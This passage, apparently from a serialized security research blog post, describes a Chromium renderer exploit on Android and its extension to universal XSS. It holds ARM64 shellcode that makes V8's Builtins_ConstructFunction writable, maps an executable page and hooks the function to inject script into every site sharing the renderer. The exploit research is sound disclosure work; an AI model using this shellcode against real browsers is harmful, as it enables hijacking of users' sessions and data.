,"children":141422},{"style":959},[141423],{"type":30,"value":962},{"type":24,"tag":930,"props":141425,"children":141426},{"style":1242},[141427],{"type":30,"value":1818},{"type":24,"tag":930,"props":141429,"children":141430},{"style":959},[141431],{"type":30,"value":962},{"type":24,"tag":930,"props":141433,"children":141434},{"style":1242},[141435],{"type":30,"value":1818},{"type":24,"tag":930,"props":141437,"children":141438},{"style":959},[141439],{"type":30,"value":962},{"type":24,"tag":930,"props":141441,"children":141442},{"style":1242},[141443],{"type":30,"value":1818},{"type":24,"tag":930,"props":141445,"children":141446},{"style":959},[141447],{"type":30,"value":962},{"type":24,"tag":930,"props":141449,"children":141450},{"style":1242},[141451],{"type":30,"value":1818},{"type":24,"tag":930,"props":141453,"children":141454},{"style":959},[141455],{"type":30,"value":962},{"type":24,"tag":930,"props":141457,"children":141458},{"style":1242},[141459],{"type":30,"value":20630},{"type":24,"tag":930,"props":141461,"children":141462},{"style":959},[141463],{"type":30,"value":962},{"type":24,"tag":930,"props":141465,"children":141466},{"style":1242},[141467],{"type":30,"value":1818},{"type":24,"tag":930,"props":141469,"children":141470},{"style":959},[141471],{"type":30,"value":962},{"type":24,"tag":930,"props":141473,"children":141474},{"style":1242},[141475],{"type":30,"value":1818},{"type":24,"tag":930,"props":141477,"children":141478},{"style":959},[141479],{"type":30,"value":962},{"type":24,"tag":930,"props":141481,"children":141482},{"style":1242},[141483],{"type":30,"value":1818},{"type":24,"tag":930,"props":141485,"children":141486},{"style":959},[141487],{"type":30,"value":962},{"type":24,"tag":930,"props":141489,"children":141490},{"style":1242},[141491],{"type":30,"value":1818},{"type":24,"tag":930,"props":141493,"children":141494},{"style":959},[141495],{"type":30,"value":962},{"type":24,"tag":930,"props":141497,"children":141498},{"style":1242},[141499],{"type":30,"value":1818},{"type":24,"tag":930,"props":141501,"children":141502},{"style":959},[141503],{"type":30,"value":2832},{"type":24,"tag":930,"props":141505,"children":141506},{"class":932,"line":1281},[141507,141511,141515,141519,141523,141527,141531,141535,141539,141543,141547,141552,141556,141561,141565,141570,141574,141578],{"type":24,"tag":930,"props":141508,"children":141509},{"style":1242},[141510],{"type":30,"value":136625},{"type":24,"tag":930,"props":141512,"children":141513},{"style":959},[141514],{"type":30,"value":962},{"type":24,"tag":930,"props":141516,"children":141517},{"style":1242},[141518],{"type":30,"value":1818},{"type":24,"tag":930,"props":141520,"children":141521},{"style":959},[141522],{"type":30,"value":962},{"type":24,"tag":930,"props":141524,"children":141525},{"style":1242},[141526],{"type":30,"value":1818},{"type":24,"tag":930,"props":141528,"children":141529},{"style":959},[141530],{"type":30,"value":962},{"type":24,"tag":930,"props":141532,"children":141533},{"style":1242},[141534],{"type":30,"value":1818},{"type":24,"tag":930,"props":141536,"children":141537},{"style":959},[141538],{"type":30,"value":962},{"type":24,"tag":930,"props":141540,"children":141541},{"style":1242},[141542],{"type":30,"value":1818},{"type":24,"tag":930,"props":141544,"children":141545},{"style":959},[141546],{"type":30,"value":962},{"type":24,"tag":930,"props":141548,"children":141549},{"style":1242},[141550],{"type":30,"value":141551},"92",{"type":24,"tag":930,"props":141553,"children":141554},{"style":959},[141555],{"type":30,"value":962},{"type":24,"tag":930,"props":141557,"children":141558},{"style":1242},[141559],{"type":30,"value":141560},"50",{"type":24,"tag":930,"props":141562,"children":141563},{"style":959},[141564],{"type":30,"value":962},{"type":24,"tag":930,"props":141566,"children":141567},{"style":1242},[141568],{"type":30,"value":141569},"162",{"type":24,"tag":930,"props":141571,"children":141572},{"style":959},[141573],{"type":30,"value":962},{"type":24,"tag":930,"props":141575,"children":141576},{"style":1242},[141577],{"type":30,"value":1818},{"type":24,"tag":930,"props":141579,"children":141580},{"style":959},[141581],{"type":30,"value":2832},{"type":24,"tag":930,"props":141583,"children":141584},{"class":932,"line":1313},[141585],{"type":24,"tag":930,"props":141586,"children":141587},{"style":959},[141588],{"type":30,"value":136912},{"type":24,"tag":930,"props":141590,"children":141591},{"class":932,"line":1335},[141592,141596,141600,141604,141608,141612,141616,141620,141624,141628,141632],{"type":24,"tag":930,"props":141593,"children":141594},{"style":937},[141595],{"type":30,"value":10965},{"type":24,"tag":930,"props":141597,"children":141598},{"style":1023},[141599],{"type":30,"value":138365},{"type":24,"tag":930,"props":141601,"children":141602},{"style":1158},[141603],{"type":30,"value":6137},{"type":24,"tag":930,"props":141605,"children":141606},{"style":1002},[141607],{"type":30,"value":138374},{"type":24,"tag":930,"props":141609,"children":141610},{"style":959},[141611],{"type":30,"value":1010},{"type":24,"tag":930,"props":141613,"children":141614},{"style":1023},[141615],{"type":30,"value":136243},{"type":24,"tag":930,"props":141617,"children":141618},{"style":959},[141619],{"type":30,"value":962},{"type":24,"tag":930,"props":141621,"children":141622},{"style":1023},[141623],{"type":30,"value":127570},{"type":24,"tag":930,"props":141625,"children":141626},{"style":959},[141627],{"type":30,"value":436},{"type":24,"tag":930,"props":141629,"children":141630},{"style":1023},[141631],{"type":30,"value":127570},{"type":24,"tag":930,"props":141633,"children":141634},{"style":959},[141635],{"type":30,"value":1278},{"type":24,"tag":930,"props":141637,"children":141638},{"class":932,"line":1376},[141639,141643,141647,141651,141655,141659,141663,141667,141671,141675],{"type":24,"tag":930,"props":141640,"children":141641},{"style":1023},[141642],{"type":30,"value":138410},{"type":24,"tag":930,"props":141644,"children":141645},{"style":1158},[141646],{"type":30,"value":6137},{"type":24,"tag":930,"props":141648,"children":141649},{"style":959},[141650],{"type":30,"value":1087},{"type":24,"tag":930,"props":141652,"children":141653},{"style":1079},[141654],{"type":30,"value":36004},{"type":24,"tag":930,"props":141656,"children":141657},{"style":1023},[141658],{"type":30,"value":138365},{"type":24,"tag":930,"props":141660,"children":141661},{"style":959},[141662],{"type":30,"value":436},{"type":24,"tag":930,"props":141664,"children":141665},{"style":1002},[141666],{"type":30,"value":60654},{"type":24,"tag":930,"props":141668,"children":141669},{"style":959},[141670],{"type":30,"value":138439},{"type":24,"tag":930,"props":141672,"children":141673},{"style":1023},[141674],{"type":30,"value":42239},{"type":24,"tag":930,"props":141676,"children":141677},{"style":959},[141678],{"type":30,"value":5539},{"type":24,"tag":930,"props":141680,"children":141681},{"class":932,"line":1418},[141682,141686,141690,141694,141698,141703,141707,141711],{"type":24,"tag":930,"props":141683,"children":141684},{"style":1023},[141685],{"type":30,"value":105003},{"type":24,"tag":930,"props":141687,"children":141688},{"style":959},[141689],{"type":30,"value":436},{"type":24,"tag":930,"props":141691,"children":141692},{"style":1002},[141693],{"type":30,"value":105012},{"type":24,"tag":930,"props":141695,"children":141696},{"style":959},[141697],{"type":30,"value":1010},{"type":24,"tag":930,"props":141699,"children":141700},{"style":1270},[141701],{"type":30,"value":141702},"'DeserializeWasmModule result: '",{"type":24,"tag":930,"props":141704,"children":141705},{"style":1158},[141706],{"type":30,"value":12014},{"type":24,"tag":930,"props":141708,"children":141709},{"style":1023},[141710],{"type":30,"value":12268},{"type":24,"tag":930,"props":141712,"children":141713},{"style":959},[141714],{"type":30,"value":1278},{"type":24,"tag":930,"props":141716,"children":141717},{"class":932,"line":1438},[141718,141722,141726,141730,141734,141738,141742,141746,141750,141754],{"type":24,"tag":930,"props":141719,"children":141720},{"style":937},[141721],{"type":30,"value":39276},{"type":24,"tag":930,"props":141723,"children":141724},{"style":1023},[141725],{"type":30,"value":138459},{"type":24,"tag":930,"props":141727,"children":141728},{"style":1158},[141729],{"type":30,"value":6137},{"type":24,"tag":930,"props":141731,"children":141732},{"style":937},[141733],{"type":30,"value":35023},{"type":24,"tag":930,"props":141735,"children":141736},{"style":1023},[141737],{"type":30,"value":136226},{"type":24,"tag":930,"props":141739,"children":141740},{"style":959},[141741],{"type":30,"value":436},{"type":24,"tag":930,"props":141743,"children":141744},{"style":1002},[141745],{"type":30,"value":136280},{"type":24,"tag":930,"props":141747,"children":141748},{"style":959},[141749],{"type":30,"value":1010},{"type":24,"tag":930,"props":141751,"children":141752},{"style":1023},[141753],{"type":30,"value":12191},{"type":24,"tag":930,"props":141755,"children":141756},{"style":959},[141757],{"type":30,"value":1278},{"type":24,"tag":930,"props":141759,"children":141760},{"class":932,"line":1479},[141761,141765,141769,141773,141777,141781,141785,141789,141793],{"type":24,"tag":930,"props":141762,"children":141763},{"style":937},[141764],{"type":30,"value":39276},{"type":24,"tag":930,"props":141766,"children":141767},{"style":1023},[141768],{"type":30,"value":36059},{"type":24,"tag":930,"props":141770,"children":141771},{"style":1158},[141772],{"type":30,"value":6137},{"type":24,"tag":930,"props":141774,"children":141775},{"style":1023},[141776],{"type":30,"value":138459},{"type":24,"tag":930,"props":141778,"children":141779},{"style":959},[141780],{"type":30,"value":436},{"type":24,"tag":930,"props":141782,"children":141783},{"style":1023},[141784],{"type":30,"value":40974},{"type":24,"tag":930,"props":141786,"children":141787},{"style":959},[141788],{"type":30,"value":436},{"type":24,"tag":930,"props":141790,"children":141791},{"style":1023},[141792],{"type":30,"value":136329},{"type":24,"tag":930,"props":141794,"children":141795},{"style":959},[141796],{"type":30,"value":5539},{"type":24,"tag":930,"props":141798,"children":141799},{"class":932,"line":1506},[141800,141804,141808,141812,141816,141820],{"type":24,"tag":930,"props":141801,"children":141802},{"style":1023},[141803],{"type":30,"value":105003},{"type":24,"tag":930,"props":141805,"children":141806},{"style":959},[141807],{"type":30,"value":436},{"type":24,"tag":930,"props":141809,"children":141810},{"style":1002},[141811],{"type":30,"value":105012},{"type":24,"tag":930,"props":141813,"children":141814},{"style":959},[141815],{"type":30,"value":1010},{"type":24,"tag":930,"props":141817,"children":141818},{"style":1023},[141819],{"type":30,"value":36173},{"type":24,"tag":930,"props":141821,"children":141822},{"style":959},[141823],{"type":30,"value":1278},{"type":24,"tag":930,"props":141825,"children":141826},{"class":932,"line":1525},[141827],{"type":24,"tag":930,"props":141828,"children":141829},{"style":959},[141830],{"type":30,"value":105044},{"type":24,"tag":33,"props":141832,"children":141833},{},[141834],{"type":30,"value":141835},"And this time, it works as expected:",{"type":24,"tag":33,"props":141837,"children":141838},{},[141839],{"type":24,"tag":140,"props":141840,"children":141843},{"alt":141841,"src":141842},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":151,"props":141845,"children":141847},{"id":141846},"achieving-universal-xss",[141848],{"type":30,"value":141849},"Achieving Universal XSS",{"type":24,"tag":33,"props":141851,"children":141852},{},[141853,141855,141861,141863,141870],{"type":30,"value":141854},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":37,"props":141856,"children":141859},{"href":141857,"rel":141858},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[41],[141860],{"type":30,"value":73416},{"type":30,"value":141862}," from Tencent Security and ",{"type":24,"tag":37,"props":141864,"children":141867},{"href":141865,"rel":141866},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[41],[141868],{"type":30,"value":141869},"research article",{"type":30,"value":141871}," from InterruptLabs.",{"type":24,"tag":33,"props":141873,"children":141874},{},[141875,141877,141884],{"type":30,"value":141876},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":37,"props":141878,"children":141881},{"href":141879,"rel":141880},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[41],[141882],{"type":30,"value":141883},"weaker version",{"type":30,"value":141885}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":33,"props":141887,"children":141888},{},[141889,141891,141897],{"type":30,"value":141890},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":156,"props":141892,"children":141894},{"className":141893},[],[141895],{"type":30,"value":141896},"Builtins_ConstructFunction",{"type":30,"value":141898},", making it a natural target.",{"type":24,"tag":33,"props":141900,"children":141901},{},[141902,141904,141909],{"type":30,"value":141903},"Our goal is for ",{"type":24,"tag":156,"props":141905,"children":141907},{"className":141906},[],[141908],{"type":30,"value":141896},{"type":30,"value":141910}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":96,"props":141912,"children":141913},{},[141914,141919,141929],{"type":24,"tag":100,"props":141915,"children":141916},{},[141917],{"type":30,"value":141918},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":100,"props":141920,"children":141921},{},[141922,141924],{"type":30,"value":141923},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":156,"props":141925,"children":141927},{"className":141926},[],[141928],{"type":30,"value":141896},{"type":24,"tag":100,"props":141930,"children":141931},{},[141932,141934,141939],{"type":30,"value":141933},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":156,"props":141935,"children":141937},{"className":141936},[],[141938],{"type":30,"value":141896},{"type":30,"value":141940},", which now proceeds normally",{"type":24,"tag":33,"props":141942,"children":141943},{},[141944],{"type":30,"value":141945},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":920,"props":141947,"children":141951},{"code":141948,"language":141949,"meta":7,"className":141950,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[141952],{"type":24,"tag":156,"props":141953,"children":141954},{"__ignoreMap":7},[141955,141963,141971,141979,141987,141994,142002,142010,142018,142026,142033,142041,142049,142057,142065,142073,142080,142088,142096,142104,142112,142120,142128,142135,142143,142150,142158,142166,142174,142181,142189,142197,142205,142213,142220,142227,142234,142241,142249,142257,142265,142272,142280,142288,142295,142303,142311,142319,142326,142334,142342,142350,142358,142365,142372,142380],{"type":24,"tag":930,"props":141956,"children":141957},{"class":932,"line":933},[141958],{"type":24,"tag":930,"props":141959,"children":141960},{},[141961],{"type":30,"value":141962},"// get return addr to x0\n",{"type":24,"tag":930,"props":141964,"children":141965},{"class":932,"line":984},[141966],{"type":24,"tag":930,"props":141967,"children":141968},{},[141969],{"type":30,"value":141970},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":930,"props":141972,"children":141973},{"class":932,"line":993},[141974],{"type":24,"tag":930,"props":141975,"children":141976},{},[141977],{"type":30,"value":141978},"// strip pac signature from return address\n",{"type":24,"tag":930,"props":141980,"children":141981},{"class":932,"line":1057},[141982],{"type":24,"tag":930,"props":141983,"children":141984},{},[141985],{"type":30,"value":141986},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":930,"props":141988,"children":141989},{"class":932,"line":1066},[141990],{"type":24,"tag":930,"props":141991,"children":141992},{"emptyLinePlaceholder":16},[141993],{"type":30,"value":2412},{"type":24,"tag":930,"props":141995,"children":141996},{"class":932,"line":1075},[141997],{"type":24,"tag":930,"props":141998,"children":141999},{},[142000],{"type":30,"value":142001},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":930,"props":142003,"children":142004},{"class":932,"line":1122},[142005],{"type":24,"tag":930,"props":142006,"children":142007},{},[142008],{"type":30,"value":142009},"movz x1, #0x610c\n",{"type":24,"tag":930,"props":142011,"children":142012},{"class":932,"line":1131},[142013],{"type":24,"tag":930,"props":142014,"children":142015},{},[142016],{"type":30,"value":142017},"sub x0, x0, x1\n",{"type":24,"tag":930,"props":142019,"children":142020},{"class":932,"line":1144},[142021],{"type":24,"tag":930,"props":142022,"children":142023},{},[142024],{"type":30,"value":142025},"mov x5, x0\n",{"type":24,"tag":930,"props":142027,"children":142028},{"class":932,"line":1169},[142029],{"type":24,"tag":930,"props":142030,"children":142031},{"emptyLinePlaceholder":16},[142032],{"type":30,"value":2412},{"type":24,"tag":930,"props":142034,"children":142035},{"class":932,"line":1191},[142036],{"type":24,"tag":930,"props":142037,"children":142038},{},[142039],{"type":30,"value":142040},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":930,"props":142042,"children":142043},{"class":932,"line":1223},[142044],{"type":24,"tag":930,"props":142045,"children":142046},{},[142047],{"type":30,"value":142048},"movz x1, #0xf000\n",{"type":24,"tag":930,"props":142050,"children":142051},{"class":932,"line":1281},[142052],{"type":24,"tag":930,"props":142053,"children":142054},{},[142055],{"type":30,"value":142056},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":930,"props":142058,"children":142059},{"class":932,"line":1313},[142060],{"type":24,"tag":930,"props":142061,"children":142062},{},[142063],{"type":30,"value":142064},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":930,"props":142066,"children":142067},{"class":932,"line":1335},[142068],{"type":24,"tag":930,"props":142069,"children":142070},{},[142071],{"type":30,"value":142072},"and x4, x5, x1\n",{"type":24,"tag":930,"props":142074,"children":142075},{"class":932,"line":1376},[142076],{"type":24,"tag":930,"props":142077,"children":142078},{"emptyLinePlaceholder":16},[142079],{"type":30,"value":2412},{"type":24,"tag":930,"props":142081,"children":142082},{"class":932,"line":1418},[142083],{"type":24,"tag":930,"props":142084,"children":142085},{},[142086],{"type":30,"value":142087},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":930,"props":142089,"children":142090},{"class":932,"line":1438},[142091],{"type":24,"tag":930,"props":142092,"children":142093},{},[142094],{"type":30,"value":142095},"mov x0, x4\n",{"type":24,"tag":930,"props":142097,"children":142098},{"class":932,"line":1479},[142099],{"type":24,"tag":930,"props":142100,"children":142101},{},[142102],{"type":30,"value":142103},"mov x1, #0x2000\n",{"type":24,"tag":930,"props":142105,"children":142106},{"class":932,"line":1506},[142107],{"type":24,"tag":930,"props":142108,"children":142109},{},[142110],{"type":30,"value":142111},"mov x2, #0x7\n",{"type":24,"tag":930,"props":142113,"children":142114},{"class":932,"line":1525},[142115],{"type":24,"tag":930,"props":142116,"children":142117},{},[142118],{"type":30,"value":142119},"mov x8, #226\n",{"type":24,"tag":930,"props":142121,"children":142122},{"class":932,"line":1569},[142123],{"type":24,"tag":930,"props":142124,"children":142125},{},[142126],{"type":30,"value":142127},"svc #0\n",{"type":24,"tag":930,"props":142129,"children":142130},{"class":932,"line":1592},[142131],{"type":24,"tag":930,"props":142132,"children":142133},{"emptyLinePlaceholder":16},[142134],{"type":30,"value":2412},{"type":24,"tag":930,"props":142136,"children":142137},{"class":932,"line":1610},[142138],{"type":24,"tag":930,"props":142139,"children":142140},{},[142141],{"type":30,"value":142142},"mov x6, x5\n",{"type":24,"tag":930,"props":142144,"children":142145},{"class":932,"line":1628},[142146],{"type":24,"tag":930,"props":142147,"children":142148},{"emptyLinePlaceholder":16},[142149],{"type":30,"value":2412},{"type":24,"tag":930,"props":142151,"children":142152},{"class":932,"line":1637},[142153],{"type":24,"tag":930,"props":142154,"children":142155},{},[142156],{"type":30,"value":142157},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":930,"props":142159,"children":142160},{"class":932,"line":1646},[142161],{"type":24,"tag":930,"props":142162,"children":142163},{},[142164],{"type":30,"value":142165},"mov x0, #0\n",{"type":24,"tag":930,"props":142167,"children":142168},{"class":932,"line":1673},[142169],{"type":24,"tag":930,"props":142170,"children":142171},{},[142172],{"type":30,"value":142173},"mov x1, #0x1000\n",{"type":24,"tag":930,"props":142175,"children":142176},{"class":932,"line":1692},[142177],{"type":24,"tag":930,"props":142178,"children":142179},{},[142180],{"type":30,"value":142111},{"type":24,"tag":930,"props":142182,"children":142183},{"class":932,"line":1730},[142184],{"type":24,"tag":930,"props":142185,"children":142186},{},[142187],{"type":30,"value":142188},"mov x3, #34\n",{"type":24,"tag":930,"props":142190,"children":142191},{"class":932,"line":1762},[142192],{"type":24,"tag":930,"props":142193,"children":142194},{},[142195],{"type":30,"value":142196},"mov x4, #-1\n",{"type":24,"tag":930,"props":142198,"children":142199},{"class":932,"line":1775},[142200],{"type":24,"tag":930,"props":142201,"children":142202},{},[142203],{"type":30,"value":142204},"mov x5, #0\n",{"type":24,"tag":930,"props":142206,"children":142207},{"class":932,"line":1825},[142208],{"type":24,"tag":930,"props":142209,"children":142210},{},[142211],{"type":30,"value":142212},"mov x8, #222\n",{"type":24,"tag":930,"props":142214,"children":142215},{"class":932,"line":1834},[142216],{"type":24,"tag":930,"props":142217,"children":142218},{},[142219],{"type":30,"value":142127},{"type":24,"tag":930,"props":142221,"children":142222},{"class":932,"line":1843},[142223],{"type":24,"tag":930,"props":142224,"children":142225},{"emptyLinePlaceholder":16},[142226],{"type":30,"value":2412},{"type":24,"tag":930,"props":142228,"children":142229},{"class":932,"line":1851},[142230],{"type":24,"tag":930,"props":142231,"children":142232},{},[142233],{"type":30,"value":142025},{"type":24,"tag":930,"props":142235,"children":142236},{"class":932,"line":1919},[142237],{"type":24,"tag":930,"props":142238,"children":142239},{"emptyLinePlaceholder":16},[142240],{"type":30,"value":2412},{"type":24,"tag":930,"props":142242,"children":142243},{"class":932,"line":1927},[142244],{"type":24,"tag":930,"props":142245,"children":142246},{},[142247],{"type":30,"value":142248},"// at this point:\n",{"type":24,"tag":930,"props":142250,"children":142251},{"class":932,"line":1935},[142252],{"type":24,"tag":930,"props":142253,"children":142254},{},[142255],{"type":30,"value":142256},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":930,"props":142258,"children":142259},{"class":932,"line":1943},[142260],{"type":24,"tag":930,"props":142261,"children":142262},{},[142263],{"type":30,"value":142264},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":930,"props":142266,"children":142267},{"class":932,"line":1955},[142268],{"type":24,"tag":930,"props":142269,"children":142270},{"emptyLinePlaceholder":16},[142271],{"type":30,"value":2412},{"type":24,"tag":930,"props":142273,"children":142274},{"class":932,"line":1975},[142275],{"type":24,"tag":930,"props":142276,"children":142277},{},[142278],{"type":30,"value":142279},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":930,"props":142281,"children":142282},{"class":932,"line":1995},[142283],{"type":24,"tag":930,"props":142284,"children":142285},{},[142286],{"type":30,"value":142287},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":930,"props":142289,"children":142290},{"class":932,"line":2061},[142291],{"type":24,"tag":930,"props":142292,"children":142293},{"emptyLinePlaceholder":16},[142294],{"type":30,"value":2412},{"type":24,"tag":930,"props":142296,"children":142297},{"class":932,"line":2085},[142298],{"type":24,"tag":930,"props":142299,"children":142300},{},[142301],{"type":30,"value":142302},"// wipe from cache\n",{"type":24,"tag":930,"props":142304,"children":142305},{"class":932,"line":2119},[142306],{"type":24,"tag":930,"props":142307,"children":142308},{},[142309],{"type":30,"value":142310},"mov x0, x5\n",{"type":24,"tag":930,"props":142312,"children":142313},{"class":932,"line":2135},[142314],{"type":24,"tag":930,"props":142315,"children":142316},{},[142317],{"type":30,"value":142318},"{WIPE_CACHE}\n",{"type":24,"tag":930,"props":142320,"children":142321},{"class":932,"line":2171},[142322],{"type":24,"tag":930,"props":142323,"children":142324},{"emptyLinePlaceholder":16},[142325],{"type":30,"value":2412},{"type":24,"tag":930,"props":142327,"children":142328},{"class":932,"line":2180},[142329],{"type":24,"tag":930,"props":142330,"children":142331},{},[142332],{"type":30,"value":142333},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":930,"props":142335,"children":142336},{"class":932,"line":2220},[142337],{"type":24,"tag":930,"props":142338,"children":142339},{},[142340],{"type":30,"value":142341},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":24,"tag":930,"props":142343,"children":142344},{"class":932,"line":2246},[142345],{"type":24,"tag":930,"props":142346,"children":142347},{},[142348],{"type":30,"value":142349},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":930,"props":142351,"children":142352},{"class":932,"line":2269},[142353],{"type":24,"tag":930,"props":142354,"children":142355},{},[142356],{"type":30,"value":142357},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":930,"props":142359,"children":142360},{"class":932,"line":2278},[142361],{"type":24,"tag":930,"props":142362,"children":142363},{"emptyLinePlaceholder":16},[142364],{"type":30,"value":2412},{"type":24,"tag":930,"props":142366,"children":142367},{"class":932,"line":2306},[142368],{"type":24,"tag":930,"props":142369,"children":142370},{},[142371],{"type":30,"value":142302},{"type":24,"tag":930,"props":142373,"children":142374},{"class":932,"line":2337},[142375],{"type":24,"tag":930,"props":142376,"children":142377},{},[142378],{"type":30,"value":142379},"mov x0, x6\n",{"type":24,"tag":930,"props":142381,"children":142382},{"class":932,"line":2346},[142383],{"type":24,"tag":930,"props":142384,"children":142385},{},[142386],{"type":30,"value":142318},{"type":24,"tag":33,"props":142388,"children":142389},{},[142390,142392,142398,142400,142405,142407,142413],{"type":30,"value":142391},"In the snippet above, ",{"type":24,"tag":156,"props":142393,"children":142395},{"className":142394},[],[142396],{"type":30,"value":142397},"new_compile_instrs",{"type":30,"value":142399}," refers to the instructions written to the beginning of ",{"type":24,"tag":156,"props":142401,"children":142403},{"className":142402},[],[142404],{"type":30,"value":141896},{"type":30,"value":142406}," that invoke the ",{"type":24,"tag":156,"props":142408,"children":142410},{"className":142409},[],[142411],{"type":30,"value":142412},"uxss_sc",{"type":30,"value":142414}," mmap-ed shellcode:",{"type":24,"tag":920,"props":142416,"children":142418},{"code":142417,"language":141949,"meta":7,"className":141950,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[142419],{"type":24,"tag":156,"props":142420,"children":142421},{"__ignoreMap":7},[142422,142430,142437,142445,142453,142460,142468,142476,142483,142491,142499,142506,142514],{"type":24,"tag":930,"props":142423,"children":142424},{"class":932,"line":933},[142425],{"type":24,"tag":930,"props":142426,"children":142427},{},[142428],{"type":30,"value":142429},"bti c\n",{"type":24,"tag":930,"props":142431,"children":142432},{"class":932,"line":984},[142433],{"type":24,"tag":930,"props":142434,"children":142435},{"emptyLinePlaceholder":16},[142436],{"type":30,"value":2412},{"type":24,"tag":930,"props":142438,"children":142439},{"class":932,"line":993},[142440],{"type":24,"tag":930,"props":142441,"children":142442},{},[142443],{"type":30,"value":142444},"// store registers that will be overwritten\n",{"type":24,"tag":930,"props":142446,"children":142447},{"class":932,"line":1057},[142448],{"type":24,"tag":930,"props":142449,"children":142450},{},[142451],{"type":30,"value":142452},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":930,"props":142454,"children":142455},{"class":932,"line":1066},[142456],{"type":24,"tag":930,"props":142457,"children":142458},{"emptyLinePlaceholder":16},[142459],{"type":30,"value":2412},{"type":24,"tag":930,"props":142461,"children":142462},{"class":932,"line":1075},[142463],{"type":24,"tag":930,"props":142464,"children":142465},{},[142466],{"type":30,"value":142467},"// get current rip into x15\n",{"type":24,"tag":930,"props":142469,"children":142470},{"class":932,"line":1122},[142471],{"type":24,"tag":930,"props":142472,"children":142473},{},[142474],{"type":30,"value":142475},"adr x15, .\n",{"type":24,"tag":930,"props":142477,"children":142478},{"class":932,"line":1131},[142479],{"type":24,"tag":930,"props":142480,"children":142481},{"emptyLinePlaceholder":16},[142482],{"type":30,"value":2412},{"type":24,"tag":930,"props":142484,"children":142485},{"class":932,"line":1144},[142486],{"type":24,"tag":930,"props":142487,"children":142488},{},[142489],{"type":30,"value":142490},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":930,"props":142492,"children":142493},{"class":932,"line":1169},[142494],{"type":24,"tag":930,"props":142495,"children":142496},{},[142497],{"type":30,"value":142498},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":930,"props":142500,"children":142501},{"class":932,"line":1191},[142502],{"type":24,"tag":930,"props":142503,"children":142504},{"emptyLinePlaceholder":16},[142505],{"type":30,"value":2412},{"type":24,"tag":930,"props":142507,"children":142508},{"class":932,"line":1223},[142509],{"type":24,"tag":930,"props":142510,"children":142511},{},[142512],{"type":30,"value":142513},"// jump to uxss_sc\n",{"type":24,"tag":930,"props":142515,"children":142516},{"class":932,"line":1281},[142517],{"type":24,"tag":930,"props":142518,"children":142519},{},[142520],{"type":30,"value":142521},"blr x15\n",{"type":24,"tag":33,"props":142523,"children":142524},{},[142525,142530,142532,142537],{"type":24,"tag":156,"props":142526,"children":142528},{"className":142527},[],[142529],{"type":30,"value":142412},{"type":30,"value":142531}," is the mmap-ed shellcode invoked by the patched 